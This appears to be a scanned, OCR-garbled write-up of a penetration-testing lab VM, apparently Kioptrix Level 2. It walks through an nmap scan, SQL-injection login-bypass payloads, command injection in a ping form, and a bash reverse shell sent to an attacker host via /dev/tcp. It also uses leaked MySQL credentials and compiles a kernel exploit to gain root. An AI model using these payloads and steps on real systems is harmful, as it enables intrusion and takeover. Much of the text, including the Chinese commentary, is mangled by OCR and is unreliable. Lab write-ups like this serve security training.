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# nmap -A -T4 -p 1-65535 16.16.16.178
Starting Nmap 7.8@ ( https://nmap.org ) at 2020-08-19 18:18 CST
Nmap scan report for 16.16.16.178
Host is up (0.90072s latency).
Mot shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9pl (protocol 1.99)
ssh-hostkey:
1824 Bf:3e:8b:1le:58:63:fe:cf:27:23:18:09:3b:52:cf:72 (RSALl)
1824 34:6b:45:3d:ba:ce:ca:b?2:53:55:ef:1e:43:70:38:36 (DSA)
1824 68:4d:8Bc:bb:b6:5a:bd:79:71:b8:71:47:22:00:42:61 (RSA)
_sshvl: Server supports SSHvl
80/tcp open http Apache httpd 2.8.52 ((Cent0S))
_http-server-header: Apache/2.8.52 (Cent05)
_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #£100000)
443/tcp open ssl/https?
_ssl-date: 2020-08-19T07:89:53+80:00; -3h@9m4@s from scanner time.
sslw2:
S5Lv2 supported
ciphers:
S5L2_DES_64 CBC_WITH_MD5
S5L2_RCA_64 WITH_MDS
S5L2_RC2_128 CBC_EXPORT4@_WITH_MD5
5512 DES_192 EDE3_CBC_WITH_MD5
S5L2_RC4_128 EXPORT4@_WITH_MDS
| S5L2_RC2_128 CBC_WITH_MDS5
|_ S5L2_RC4_128 WITH_MD5
631/tcp open ipp CUPs 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
| _http-title: 4@3 Forbidden
886/tcp open status 1 (RPC #100024)
3306/tcp open mysqgl MySQL (unauthorized)
MAC Address: @@:0C:29:98:7A:87 (VMware)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
05 details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

Host script results:
| _clock-skew: -3h@9m4@s

TRACEROUTE
HOP RTT ADDRESS
1 @.72 ms 16.16.16.178

05 and Service detection performed. Please report any incorrect results at https://nmap.org/sub
mit/
Mmap dome: 1 IP address (1 host up) scanned in 118.84 seconds
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Remote System Administration Login

Username

Password

Login
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Request 4 | Position | Payload | Status |Error | Timeout | Length | Comment

— - T — = = o

24 1 " exec master..xp_cmdshell... 200 O d 860 .
25 1 ! 200 O d 860

26 1 '%200r%20"=" 200 O 4 860

27 1 '%200r%20'x'="x 200 ()] )] 860

28 1 9%200r%20x=x 200 ()] )] 860

29 1 1%200r%20('x'="x 200 ()] )] 860

30 1 Oorl=1 200 ()] )] 860

31 1 'or 0=0 -- 200 O 4 860

32 1 "or 0=0 -- 200 O g 860

33 1 or 0=0 -- 200 U @] 860

34 1 ["or0=0# | 200 U L 779

35 1 or 0=0 #" 200 O g 860

36 1 or 0=0 # 200 O g 860 -
27 1 "Ar1_1 200 || [l aNn y
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| Welcome to the Basic Administrative Web Console

’ Ping a Machine on the Network: ’ submit

ping /&
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16.16.16.1

PING 16.16.16.1 (16.16.16.1) 56(84) bytes of data.

64 bytes from 16.16.16.1: icmp seq=0 ttl=64 time=31.2 ms
64 bytes from 16.16.16.1: icmp seqg=1 ttl=64 time=8.14 ms
64 bytes from 16.16.16.1: icmp_seqg=2 ttl=64 time=1.96 ms

--- 16.16.16.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001lms
rtt min/avg/max/mdev = 1.967/13.786/31.246/12.601 ms, pipe 2
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /pingit.php HTTP/1.1 HTTP/1.1 200 OK

A

Host: 16.16.16.178 - Date: Wed, 19 Aug 2020 07:30:12 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Server: Apache/2.0.52 (CentOS)

(KHTML, like Gecko) Chrome/86.0.4209.0 Safari/537.36 X-Powered-By: PHP/4.3.9

Accept: Content-Length: 1356

text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8 Connection: close

Accept-Language: Content-Type: text/html; charset=UTF-8

zh-CN,zh;g=0.8,2zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate 16.16.16.1;ifconfig<pre>PING 16.16.16.1 (16.16.16.1) 56(84) bytes of data.

Content-Type: application/x-www-form-urlencoded 64 bytes from 16.16.16.1: icmp_seq=0 ttl=64 time=7.56 ms

Content-Length: 36 64 bytes from 16.16.16.1: icmp_seq=1 ttl=64 time=8.68 ms

Origin: http://16.16.16.178 64 bytes from 16.16.16.1: icmp_seq=2 ttl=64 time=8.46 ms

Connection: close

Referer: http://16.16.16.178/index.php --- 16.16.16.1 ping statistics ---

Upgrade-Insecure-Requests: 1 3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 7.568/8.237/8.680/0.481 ms, pipe 2

ip=16.16.16.1;lifconfig&submit=submit ethO Link encap:Ethernet HWaddr 00:0C:29:98:7A:07

inet addr:16.16.16.178 Bcast:16.16.16.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:£e98:7a07/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:372761 errors:0 dropped:0 overruns:0 frame:0

TX packets:173067 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:35913375 (34.2 MiB) TX bytes:46555477 (44.3 MiB)

F Interrupt:177 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:317 errors:0 dropped:0 overruns:0 frame:0
TX packets:317 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:23606 (23.0 KiB) TX bytes:23606 (23.0 KiB)

</pre>

kaliff f nc -1vp 1234 Wi, BE$% bash -i >& /dev/tcp/16.16.16.177/1234 0>&1 FEshell



Request

J Raw T Params T Headers T Hex ]

|POST /pingit.php HTTP/1l.1

|Host: 16.16.16.178

|User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/86.0.4209.0 Safari/537.36

Accept:

text/html, application/xhtml+xml,application/xml;g=0.9, image/webp,*/*;g=0.8
{Accept-Language:
|zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
|Accept-Encoding: gzip, deflate

{Content-Type: application/x-www-form-urlencoded

{Content-Length: 74

Origin: http://16.16.16.178

Connection: close

Referer: http://16.16.16.178/index.php

Upgrade-Insecure-Requests: 1

[ip=16.16.16.1;bash -i >%26 /dev/tcp/1l6.16.16.177/1234 0>%261l&submit=submit

Connection from
Connection from 16.16.16.17
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bash-3.00% 1s -1la

total 24

drwxr-xr-x 2 root root 4896 Oct 2089

drwxr-xr-x 8 root root 4896 Oct 2089

-rwxr-sr-t 1 root root 1733 Feb 2012 index.php

-rwxr-sr-t 1 root root 199 Oct 2009 pingit.php

bash-3.00% cat index.php

<?php
mysql_connect("localhost®, "john", "hiroshima™) or die(mysgl_error());
J/print "Connected to MySQL<br />";
mysql_select_db( "webapp”);

if ($ POST['uname'] == "")}{
$username = %_POST[ 'uname’];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$passw

J/print $query."<br>";
$result = mysql_query($query);

$row = mysgl_fetch_array($result);
Jfprint "ID: ".$row['id"]."<br /";

[
<html>
<body>

FishellF+2¢—F python -c 'import pty; pty.spawn("/bin/bash")"

3 mysql

mysgl -u john -phiroshima

fEmysqlE i 2 [ user® #4211 mysqlffjroot fithash

mysql> select *# from user;
- -
+

+

o
Host | User | Password | select_priv | Insert_priv | Update_priv | D
elete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv |
Grant_priv References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tm
p_table_priv Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | ssl_type
ssl_cipher | x5@09_issuer | x509_subject | max_guestions | max_updates | max_connections |
+ ¥ ¥ +

+ ¥ + +

+ ¥
+ +
root | 5a6914ba69e@2807 | ¥

Y
Y

localhost.localdomain | root | 5a6914ba69e@2807 | Y
Y Y | v | ¥

& — T4 hiroshima




1 F root’ sxmysq

mysgl -u root -phiroshima

mysql> show user()

corresponds to

mysqlffjrootFi fiE /& 52 FR 1], Akt vH 7% 14 H system cat /etc/shadow? & T hashfd .
HRE MBI H 738 T 4%

MEBE FE webapp [FJuserd 3k 2l web & ¢ St 1) K 525 11

mysql> show |

ERROR 1l@64 ( You have an error in your SQL synta
your MysQ erver version for the right syntax to use
mysql> sels * from users;

id username

admin
Jjohn

rows in set (¢

mysql>

ik T Fssh, KILFEGANS
MeE—TWrT......
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uname -a
1sb_release -a



sh-2.00# 1lsb_release -a

LSBE Version: :core-3.0-1a32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.8-noarch
Distributor ID: Cent0S

Description: Cent0s release 4.5 (Final)

Release: 4.5

Codename : Final

sh-3.00# uname -a

Linux kioitrix.levelz 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2087 i686 1686 1386 GNU/Linux
sh-3.00#

# searchsploit linux kernel 2.6 centos

Exploit Title

2.5.%f X 4.8/5.3 / RHEL 4.8/5.3 / SuSE 1@ sP2/11 / Ub /local/9545.¢
.61 (RedHat 9 / Fedora Core 4 < 11 / Whitebox &4 / Cent /local/9479.c
< .19 (White Box & / 4.4/4.5 / Fedora Core 4/5/6 x _x86/1local/9542.c
.32 < 3.x ( 5/6) - "PERF_EVENTS' Local Privilege Escala /local/25444 . ¢
.x / 3.10.x / 4.14.x (RedHat / Debian / ) (x64) - "Muta _x86-64/1ocal/45516.C

Shellcodes: No Results
: # searchsploit -m linux_x86/local/9542.cC
Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / Cent0S 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()’
Ring® Privilege Escalation (1)
URL: https://www.exploit-db.com/exploits/9542
Path: /fusr/share/exploitdb/exploits,/linux_x86/local/9542.c
File Type: C source, ASCIT text, with CRLF line terminators

Copied to: /root/H M /9542.c

TR h 26 1% 1~954 21

fEshell T #/>77 LB 5 Y

bash-3.00% cd /tmp

bash-3.00% vi exp.c

bash-3.00% gcc -0 exp exp.c

bash-3.00% ./exp

sh-3.00# id

uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# |

FRH B rooth R .
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